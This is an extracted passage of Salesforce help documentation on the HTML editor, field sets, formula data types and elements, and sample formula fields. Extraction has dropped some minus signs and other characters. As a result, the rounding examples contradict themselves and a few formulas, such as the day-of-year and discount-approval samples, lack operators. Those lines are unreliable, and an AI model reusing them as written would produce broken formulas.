Notes on Using the Salesforce HTML Editor When you use the editor, note the following: Because the Salesforce HTML editor provides a WYSIWYG interface only, you do not edit HTML tags. If you copy content from a Web page and paste it into the editor's window, Salesforce automatically removes unsupported tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce does not notify users when it removes unsupported or potentially malicious HTML. The maximum number of characters you can enter in the Salesforce HTML editor window is equal to the field length specified when creating or editing the field. The default is 32,768 characters. When clicked, hyperlinks open in a new browser window. The Salesforce HTML editor supports HTTP, HTTPS, and mailto hyperlinks. When a record is saved, the Salesforce HTML editor does not validate hyperlinks to Web pages. Be sure to confirm that you are specifying a URL that Salesforce can access. To insert an image, click and either select:

Web Address tab and enter the URL of the image. Upload Image tab and select an image from your localhost. You can only upload JPEG, PNG or GIF. The image you select cannot exceed 1 Megabyte. You can't add a hyperlink to an image. Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that Salesforce can access. The Salesforce HTML editor supports all languages that Salesforce Knowledge supports.

1016

Customize

About Custom Fields

The Salesforce HTML editor does not support JavaScript or Cascading Style Sheets (CSS). The Salesforce HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box. This text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you must use paragraph or line break HTML tags.

Supported HTML Tags and Attributes The Salesforce HTML editor supports the tags listed in the following table.
<a> <abbr> <acronym> <address> <b> <bdo> <big> <blockquote> <br> <caption> <cite> <code> <col> <colgroup> <dd> <del> <dfn> <div> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr> <i> <img> <ins> <kbd> <li> <ol> <p> <pre> <q> <samp> <small> <span> <strike> <strong> <sub> <sup> <table> <tbody> <td> <tfoot> <th> <thead> <tr> <tt> <ul> <var>

The tags can include the following attributes:


alt background border class colspan face height href name rowspan size src style target width

The attributes can include URLs that begin with the following:

1017

Customize

About Field Sets

http: https: file: ftp: mailto: # / for relative links

See Also:
Using Rich Text Area Fields Enabling Accessibility Mode

About Field Sets


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name, middle name, last name, and business title. When a field set is added to a Visualforce page, developers can loop over its fields and render them. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set to modify the fields presented on the Visualforce page without modifying any code. The same Visualforce page can present different sets of information, depending on which fields a subscriber prefers to keep. As an administrator, you can create or edit field sets for your organization, or edit any installed field set. Field sets are available on all standard objects that support custom fields, and any organization that supports creating Visualforce pages. Fields added to a field set can be in one of two categories: If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasnt presented it on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the Available column to the In the Field Set column. If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the Field Set column.

When you install a field set from a package, the fields in your field set may be modified from a later package upgrade. The following table lists the impact on your field set after a package upgrade: If a package developer... Changes a field from Unavailable to Available for the Field Set or In the Field Set ...Then In the Package Upgrade... The modified field is placed at the end of the upgraded field set in whichever column it was added to.

1018

Customize

About Field Sets

If a package developer... Adds a new field Changes a field from Available for the Field Set or In the Field Set to Unavailable Changes a field from In the Field Set to Available for the Field Set (or vice versa)

...Then In the Package Upgrade... The new field is placed at the end of the upgraded field set in whichever column it was added to. The field is removed from the upgraded field set. The change is not reflected in the upgraded field set.

Note: Merging has the potential to remove fields in your field set.

See Also:
Creating and Editing Field Sets Field Sets Required Bit Creating Custom Fields Developer's Guide: Visualforce Developer's Guide Implementation guide: Force.com Quick Reference for Developing Packages.

Creating and Editing Field Sets


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

Salesforce has a drag-and-drop WYSIWYG tool for creating and editing field sets The enhanced field sets editor is enabled by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use WYSIWYG interface. To create a new field set: 1. Navigate to the field set list of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Field Sets. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. Then click New above the field sets related list.

2. Enter a Field Set Label. This is the name presented to subscribers who install the field through a managed package. 3. Enter a Field Set Name for your field set. This is used by your Visualforce page to reference the field set.

1019

Customize

About Field Sets

4. In the Where is this used? area, provide a brief description of which Visualforce pages use the field set, and for what purpose. This information helps a subscriber understand where and how an installed field set is being used, so that they can populate it with their own fields. 5. Click Save. 6. To add fields to the field set, drag the fields from the object palette and drop them into the Available for the Field Set or the In the Field Set container. The fields in the Available for the Field Set container are not initially visible on the Visualforce page. The fields within the In the Field Set container are visible by default on a Visualforce page. Note: In the field set, you can span to fields that reference multiple objects. When you span a field into a field set that references multiple objects, the only field you can span to is the Name object. To move a field between the lists, drag and drop a field from one container to the other. The vertical order of the In the Field Set list indicates the order of how the fields render on Visualforce pages. 7. To remove a field from the field set, drag the element back to the object palette, or click the 8. To make a field required, double click the element or click the wrench icon ( checkbox. Note: icon next to the element. ) next to it and select the Required

Indicates the field is required and must have a value to save the record.

9. Click Save. Important: The total number of cross object spans within the In the Field Set container can't exceed 25.

After a field set is deployed in your organization, you can always mark fields that are in the Available for the Field Set list as In the Field Set, or vice versa. To do so: 1. Find the field set that you want to edit by going to Your Name > Setup > View Installed Packages, clicking on an installed package, and then clicking on the field set you want to edit. Alternatively, if you know which object contains the field set you want to edit, go to the object detail page and click Edit in the field set related list. 2. If you didn't create the field set initially, you'll only be able to edit the fields within the field set. To move fields between containers, drag and drop a field from one container to the other. To change the order of a rendered field, drag a field up or down the list and drop the field in the order you want it to appear. 3. Click Save.

Field Sets Required Bit


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

1020

Customize

About Formulas

You can define a field as required when you create or edit field sets. You may want to define a field as required to ensure a user enters the necessary information on a field. The required field is only available in the In the Field Set container. If you define a field as required in the In the Field Set container, and remove the field from the In the Field Set, the required attribute is removed. To define a field as required in a field set, see Creating and Editing Field Sets on page 1019

See Also:
About Field Sets Creating and Editing Field Sets

About Formulas
Available in: All Editions Reports and Approvals are not available in Database.com

A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically calculate the value of a field based on other fields. Use formulas for: Custom Fields Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a formula field. To create a custom formula field, see Building Formulas on page 1053. Default Field Values Apply a value to a custom field when a user creates a record. Use formulas to define a default value such as TODAY() + 7. See About Default Field Values on page 1062. Data Validations Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 1066. Reports Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 2638. Workflow Field Updates Define field updates to automatically calculate the new value of a field based on a formula. The formula can include other values, merge fields, or expressions. Then set your workflow rules or approval processes to use these field updates. To define field updates, see Defining Field Updates on page 1657. Workflow Rules Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 1640. Approval Processes Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 1694.

1021

Customize

About Formulas

Approval Steps Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 1700.

Escalation Rules Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 1222.

Assignment Rules Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page 1219.

S-Controls Define the content for s-controls. See Defining Custom S-Controls on page 1944.

Custom Buttons and Links Define the content for custom links and buttons. See Defining Custom Buttons and Links on page 1166.

Visualforce Pages Define the content for Visualforce pages. See Defining Visualforce Pages on page 1924.

Before building a formula, review the following attributes of a formula: Choosing a Formula Data Type Elements of a Formula

For common uses of formulas, see Formulas: How Do I... on page 1026. Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.

See Also:
Using Formulas in Salesforce

Choosing a Formula Data Type


The data type of a formula determines the type of data you expect returned from your formula. Review the following data types. Data Type Currency Description Returns a number in currency format of up to 18 digits with a currency sign. Note: Salesforce uses the round half even tie-breaking rule for currency fields. For example, 23.5 becomes 24, 22.5 becomes 22, 22.5 becomes 22, and 23.5 becomes 24.

1022

Customize

About Formulas

Data Type Date

Description Returns data that represents a day on the calendar. The current date can be acquired by calling the built-in function TODAY() in a formula. This data type is not available for custom summary formulas in reports. Returns data that represents a moment in time. A date/time field includes the date and also the time of day including hour, minutes, and seconds. You can insert the current date and time in a formula using the NOW() function. This data type is not available for custom summary formulas in reports. Returns a positive or negative integer or decimal of up to 18 digits. Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. Returns a number in percent format of up to 18 digits followed by a percent sign. Percent data is stored as a decimal divided by 100, which means that 90% is equal to 0.90. Returns a string of up to 3900 characters. To display text in addition to the formula output, insert that text in quotes. Use the text data type for text, text area, URL, phone, email, address, and auto-number fields. This data type is not available for custom summary formulas in reports.

Date/time

Number

Percent

Text

See Also:
Building Formulas About Formulas

Elements of a Formula
A formula can contain references to the values of other standard or custom fields, operators, functions, literal values, or other formulas. Use any or all of the elements in the following table to build a formula. For more details about building formulas, see Building Formulas on page 1053. Element Name Literal Value Description A text string or number you enter that is not calculated or changed. For example, if your commissions are always calculated by 2% of an opportunity amount, your formula would contain the literal value 2% of the opportunity amount:
ROUND((Amount*0.02), 2)

This example contains every possible part of a formula:

1023

Customize

About Formulas

Element Name

Description A function called ROUND used to return a number rounded to a specified number of decimal places. A field reference called Amount that is dynamically replaced with the amount of an opportunity. An operator, *, that tells the formula builder to multiply the contents of the Amount field by the literal value, 0.02. A literal number, 0.02, that represents a commission percent. Use the decimal value for all percents. To include actual text in your formula, enclose it in quotes. The last number 2 in this formula is the input required for the ROUND function that determines the number of decimal places to return.

Field Reference

Reference the value of another custom or standard field using a merge field. The syntax for a merge field is field_name for a standard field or field_name__c for a custom field. The syntax for a merge field on a related object is object_name__r.field_name. Use the Insert Field button or the drop-down list to insert a merge field in your formula where necessary. A system-defined formula that can require input from you and returns a value or values. For example, TODAY() does not require input but returns the current date. The TEXT(value) function requires your percent, number, or currency input and returns text. A symbol that specifies the type of calculation to perform or the order in which to do it. For example, the + symbol specifies two values should be added. The open and close parentheses specify which expressions you want evaluated first. An annotation within a formula that begins with a forward slash followed by an asterisk (/*). and concludes with an asterisk followed by a forward slash (*/). For example,
/*This is a formula comment*/

Function

Operator

Comment

Salesforce ignores comments when processing a formula. Comments are useful for explaining specific parts of a formula to administrators viewing the formula definition. For example:
AND( /*competitor field is required, check to see if field is empty */ LEN(Competitor__c) = 0, /* rule only enforced for ABCD record types */ $RecordType.Name = "ABCD Opportunity",

1024

Customize

About Formulas

Element Name

Description
/* checking for any closed status, such as closed won and closed lostallows for additional closed picklist values in the future */ CONTAINS(TEXT(StageName), "Closed") )

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate errors in the formula. Note: Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */

Commenting out a whole formula causes a syntax error. Comments count against the character and byte size limits in formulas.

See Also:
Building Formulas Building Custom Summary Formulas Quick Reference Guide: Formula Fields

1025

Customize

About Formulas

Formulas: How Do I...


Available in: All Editions Some How Do I's are not relevant to Database.com

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Common Math Calculations Add numbers? Convert text into a number? Divide numbers? Multiply numbers? Round numbers? Subtract numbers?

Common Text Functions Check if a field contains specified text? Check if a picklist field contains a specified value? Combine first and last names? Convert numbers into text? Create a hyperlink field?

Advanced Formulas Calculate Commission Amounts for Opportunities? Calculate a Contacts Age? Set Up Round Robin Assignment of Cases or Leads? Set Up Opportunity Discount Rounded?

Custom Summary Formulas for Reports Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected? Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities? Calculate the average age of all opportunities? Calculate what percent of all opportunities are closed won? Calculate the number of active Salesforce users to the 2nd power for administration? Calculate the duration of all activities (minutes) times the number of records per 24 hours? Calculate the average percent margin on a product-by-product level across many opportunities? Calculate the percentage of one product compared to all products in closed opportunities? Calculate the change in revenue from opportunities between months?

1026

Customize

About Formulas

Cross-Object Formulas Display the Created By field from a parent object? Display a Percent field from a parent object? Display a text field from a parent object? Display a phone number field from a parent object? Display a picklist field from a parent object? Display a URL field from a parent object?

Examples of Advanced Formula Fields


Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples of Validation Rules on page 1068 and Useful Default Field Value Formulas on page 1063. This document contains the following categories of custom formula samples: Account Management Account Media Service Links Case Management Commission Calculations Contact Management Data Categorization Date Calculations Discounting Employee Services Expense Tracking Financial Calculations Image Links Integration Links Lead Management Metrics Opportunity Management Pricing Project Management

1027

Customize

About Formulas

Scoring Calculations

See Also:
About Formulas Operators and Functions Formulas: How Do I... Tips on Building Formulas Quick Reference Guide: Formula Fields

Account Management
Account Rating This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of Hot, Warm, or Cold.
IF (AND (AnnualRevenue > 10000000, CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"), "US")), IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot", IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"), ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")), "Cold")

For details about using these functions, see IF on page 1131, AND on page 1118, CONTAINS on page 1123, CASE on page 1120, and ISPICKVAL on page 1140. In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c

Account Region This formula returns a text value of North, South, East, West, or Central based on the Billing State/Province of the account.
IF(ISBLANK(BillingState), "None", IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West", IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central", IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East", IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South", IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

For details about using these functions, see IF on page 1131, LEN on page 1142, and CONTAINS on page 1123. Contract Aging This formula calculates the number of days since a contract with an account was activated. If the contract Status is not Activated, this field is blank.
IF(ISPICKVAL(Contract_Status__c, "Activated"), NOW() - Contract_Activated_Date__c, null)

For details about using these functions, see IF on page 1131, ISPICKVAL on page 1140, and NOW on page 1149.

1028

Customize

About Formulas

Contract Approval Process Aging This formula calculates how many days a contract is in the approval process. This example is a number formula field on contracts that uses a custom date field called Date in approval.
TODAY()-Date_in_approval__c

For details about using this function, see TODAY on page 1157. Month of Last Account Activity This formula field displays the month of the last account activity or None if there are no activities for the account.
CASE(MONTH(LastActivityDate), 1, "January", 2, "February", 3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "None")

For details about using these functions, see CASE on page 1120 and MONTH on page 1148. Month of Service-Level Agreement Expiration This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA Expiration Date.
MONTH(SLAExpirationDate__c)

For details about using this function, see MONTH on page 1148.

Account Media Service Links


BBC News Search This formula creates a link to a BBC news search site based on the Account Name.
HYPERLINK( "http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name, "BBC News")

Bloomberg News Search This formula creates a link to an account's ticker symbol on the Bloomberg website.
HYPERLINK( "http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol, "Bloomberg News")

1029

Customize

About Formulas

CNN News Search This formula creates a link to a CNN news search site using the Account Name.
HYPERLINK( "http://websearch.cnn.com/search/search?source=cnn& invocationType=search%2Ftop&sites=web&query="&Name, "CNN News")

MarketWatch Search This formula creates a link to an account's ticker symbol on the Marketwatch.com website.
HYPERLINK( "http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol, "Marketwatch")

Google Search This formula creates a link to a Google search site using the Account Name.
HYPERLINK( "http://www.google.com/search?en&q="&Name, "Google")

Google News Search This formula creates a link to a Google news search site using the Account Name.
HYPERLINK( "http://www.google.com/news?en&q="&Name, "Google News")

Yahoo! Search This formula creates a link to a Yahoo! search site using the Account Name.
HYPERLINK( "http://search.yahoo.com/search?p="&Name, "Yahoo Search")

Yahoo! News Search This formula creates a link to a Yahoo! news search site using the Account Name.
HYPERLINK( "http://news.search.yahoo.com/search/news?p="&Name, "Yahoo News")

For details about using the function used in these formulas, see HYPERLINK on page 1129.

Case Management
Autodial This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example, replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,

1030

Customize

About Formulas

Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)

For details about using this function, see HYPERLINK on page 1129. Case Aging (Assignments) Use this example of a custom formula field called Days Open to display different text depending on the number of days a case has been open:
CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task", "Maintain")

The following text is displayed: Reassign for any case open three days. Assign Task for any case open two days. Maintain for all other cases.

For details about using this function, see CASE on page 1120. Case Aging (Open Cases) This formula calculates the number of days a case has been open. If the case is closed, it sets the result to null. Add this formula to a related list as the sort column to quickly see which open cases have been open the longest. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed, null, NOW() - CreatedDate )

For details about using these functions, see IF on page 1131 and NOW on page 1149. Case Aging (Open and Closed Cases) This formula calculates the number of days a closed case was open or the number of days an open case has been open since the date the case was created. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed, ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))

For details about using these functions, see IF on page 1131, ROUND on page 1154, and NOW on page 1149. Case Categorization This formula displays a text value of RED, YELLOW, or GREEN, depending on the value of a case age custom text field.
IF(DaysOpen__c > 20, "RED", IF(DaysOpen__c > 10, "YELLOW", "GREEN") )

For details about using this function, see IF on page 1131.

1031

Customize

About Formulas

Case Data Completeness Tracking This formula calculates the percentage of specific custom fields that contain data. The formula checks the values of two custom number fields: Problem Num and Severity Num. If the fields are empty, the formula returns the value 0. The formula returns a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that contain data.
(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

For details about using these functions, see IF on page 1131 and ISBLANK on page 1135. Case Due Date Calculation This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is medium, the due date is five days after opening. Otherwise, the due date is seven days.
CASE (Priority, "High", CreatedDate + 2, "Medium",CreatedDate + 5, CreatedDate + 7)

For details about using this function, see CASE on page 1120. Suggested Agent Prompts This formula prompts an agent with cross-sell offers based on past purchases.
CASE(Product_Purch__c, "Printer", "Extra toner cartridges", "Camera", "Memory cards", "Special of the day")

For details about using this function, see CASE on page 1120. Suggested Offers This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches a field, the formula field returns a suggestion.
CASE(Problem__c, "Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with tape backup", "")

For details about using this function, see CASE on page 1120.

Commission Calculations
Commission Amounts for Opportunities The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.
IF(ISPICKVAL(StageName, "Closed Won"), ROUND(Amount *0.02, 2), 0)

1032

Customize

About Formulas

This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value. For details about using these functions, see IF on page 1131, ISPICKVAL on page 1140, and ROUND on page 1154. Commission Deal Size This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an 8% commission rate for smaller deals.
IF(Amount > 100000, 0.09, 0.08 )

For details about using this function, see IF on page 1131. Commission Greater Than or Equal To This formula assigns the YES value to opportunities with a commission greater than or equal to one million. Note, this is a text formula field on opportunities that uses a custom currency field called Commission.
IF(Commission__c >= 1000000, "YES", "NO")

For details about using this function, see IF on page 1131. Commission Maximum This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom percent fields on users and assets.
MAX($User.Commission_Percent__c * Price, Price * Account_Discount__c, 100)

For details about using this function, see MAX on page 1146.

Contact Management
Contact's Account Creation Date This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate

Contact's Account Discount Percent This percent formula displays the account's Discount Percent field on the contacts page.
Account.Discount_Percent__c

Contact's Account Name This formula displays the standard Account Name field on the contacts page.
Account.Name

1033

Customize

About Formulas

Contact's Account Phone This formula displays the standard Account Phone field on the contacts page.
Account.Phone

Contact's Account Rating Use this formula to display the Account Rating field on the contacts page.
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")

For details about using this function, see CASE on page 1120. Contact's Account Website This formula displays the standard Account Website field on the contacts page.
Account.Website

If the account website URL is long, use the HYPERLINK function to display a label such as Click Here instead of the URL. For example:
IF(Account.Website="", "", IF( OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"), HYPERLINK( Account.Website , "Click Here" ), HYPERLINK( "http://" & Account.Website , "Click Here" ) ) )

This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field. For details about using this function, see HYPERLINK on page 1129. Contacts Age Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)

For details about using these functions, see FLOOR on page 1126 and TODAY on page 1157. Contact's Birthday This formula displays the value Yes if the contacts birthday falls in the current calendar month.
IF ( MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")

For details about using these functions, see IF on page 1131, MONTH on page 1148, and TODAY on page 1157.

1034

Customize

About Formulas

Contact's LinkedIn Profile You can configure a link that appears on your contacts' profile page that sends you to their LinkedIn profile. To do so: 1. 2. 3. 4. Click SetupCustomizeContactsButtons and Links. Click New under Custom Buttons and Links Enter a Label for this link, like LinkedInLink. Enter this formula in the content box:
http://www.linkedin.com/search/fpsearch?type=people&keywords={!Contact.FirstName}+{!Contact.LastName}

5. Click Save. Remember to add this link to the Contact page layout in order for it to show up. Contact Identification Numbering This formula displays the first five characters of the contacts last name and the last four characters of the contacts social security number separated by a dash. Note that this example uses a text custom field called SSN on contacts.
TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

For details about using these functions, see TRIM on page 1158, LEFT on page 1142, and RIGHT on page 1154. Contact Preferred Phone This formula displays the contacts preferred contact method in a contact related listwork phone, home phone, or mobile phonebased on a selected option in a Preferred Phone custom picklist.
CASE(Preferred_Phone__c, "Work", "w. " & Phone, "Home", "h. " & HomePhone, "Mobile", "m. " & MobilePhone, "No Preferred Phone")

For details about using this function, see CASE on page 1120. Contact Priority This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).
IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1", IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2", IF(ISPICKVAL(Account.Rating, "Cold"), "P3", "P3") ) )

1035

Customize

About Formulas

Contact Yahoo! ID This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

For details about using these functions, see HYPERLINK on page 1129 and IMAGE on page 1132. Dynamic Address Formatting This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks where appropriate depending on the country for the account.
CASE(ShippingCountry, "USA", ShippingStreet & BR() & ShippingCity & ", " & ShippingState & " " & ShippingPostalCode & BR() & ShippingCountry, "France", ShippingStreet & BR() & ShippingPostalCode & " " & ShippingCity & BR() & ShippingCountry, "etc")

For details about using this function, see CASE on page 1120 and BR on page 1120. Telephone Country Code This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.
CASE(MailingCountry, "USA", "1", "Canada", "1", "France", "33", "UK", "44", "Australia", "61", "Japan", "81", "?")

For details about using this function, see CASE on page 1120. Unformatted Phone Number This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some auto-dialer software.
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

For details about using these functions, see IF on page 1131 and MID on page 1147.

1036

Customize

About Formulas

Data Categorization
Deal Size Large and Small This formula displays Large Deal for deals over one million dollars or Small Deal for deals under one million dollars.
IF(Sales_Price__c > 1000000, "Large Deal", "Small Deal")

For details about using this function, see IF on page 1131. Deal Size Small This formula displays Small if the price and quantity are less than one. This field is blank if the asset has a price or quantity greater than one.
IF(AND(Price<1,Quantity<1),"Small", null)

For details about using these functions, see IF on page 1131 and AND on page 1118. Product Categorization This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains the text Part or PART, this formula returns Services.
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

For details about using these functions, see IF on page 1131 and CONTAINS on page 1123.

Date Calculations
Birthday in Current Year Accounting for Leap Years This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a leap year.
IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29), (IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0, MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)), DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)), DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))), (DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))

Day of Week (number) This formula calculates todays day of the week as a number (0 = Sunday, 1 = Monday, 2 = Tuesday, and so on).
MOD(TODAY() - DATE(1900, 1, 7), 7)

1037

Customize

About Formulas

Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign Up Date. It returns the day of the week as a number for that field.
MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)

For details about using these functions, see MOD on page 1148, TODAY on page 1157, and DATE on page 1123. Day of Week (text) This formula calculates todays day of the week and displays it as text. To determine the day of the week for a date field, use the formula below and replace TODAY() with that date field.
CASE( MOD(TODAY() - DATE(1900, 1, 7), 7), 0, "Sunday", 1, "Monday", 2, "Tuesday", 3, "Wednesday", 4, "Thursday", 5, "Friday", 6, "Saturday", "Error")

For details about using these functions, see CASE on page 1120, MOD on page 1148, TODAY on page 1157, and DATE on page 1123. Day of Year This formula calculates todays numeric day of the year (a number between 1 and 365).
TODAY() DATE(YEAR(TODAY()), 1, 1) + 1

For details about using these functions, see TODAY on page 1157, DATE on page 1123, and YEAR on page 1162. Days Until End of Month This formula displays the number of days between a specific date and the end of the month in which the date occurs.
IF( MONTH(CloseDate)=12, DATE(YEAR(CloseDate),12,31) - CloseDate, DATE(YEAR(CloseDate), MONTH(CloseDate)+1,1) - CloseDate-1)

For details about using these functions, see IF on page 1131, MONTH on page 1148, DATE on page 1123, and YEAR on page 1162. Time of Day This formula returns the time of day in Greenwich Mean Time (GMT), for example: 20:04 PM).
MID (TEXT (Due_Date_Time__c), 12, 5)

For details about using these functions, see MID on page 1147 and TEXT on page 1156.

1038

Customize

About Formulas

Discounting
Maintenance and Services Discount This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays Discounted on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value. Otherwise, it displays "Full Price."
IF(Maintenance_Amount__c + Services_Amount__c <> Amount, "Discounted", "Full Price")

For details about using this function, see IF on page 1131. Opportunity Discount Amount This formula calculates the difference of the opportunity Amount less the Discount Amount. Note that Discount Amount is a custom currency field on opportunities.
Amount - Discount_Amount__c

For details about using this operator, see - (Subtract) on page 1113. Opportunity Discount Rounded Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number formula field on opportunities that uses a custom percent field called Discount Percent.
ROUND(Amount-Amount* Discount_Percent__c,2)

For details about using this function, see ROUND on page 1154. Opportunity Discount with Approval This formula adds a Discount Approved checkbox to an opportunity. It uses conditional logic to check the value of the approval flag before calculating the commission.
IF(Discount_Approved__c, ROUND(Amount Amount * DiscountPercent__c, 2), Amount)

For details about using these functions, see IF on page 1131 and ROUND on page 1154.

Employee Services
Bonus Calculation This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom

1039

Customize

About Formulas

number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the employee's Gross and company's Performance.
MIN(Gross__c * Bonus_Percent__c, Performance__c / Number_of_Employees__c)

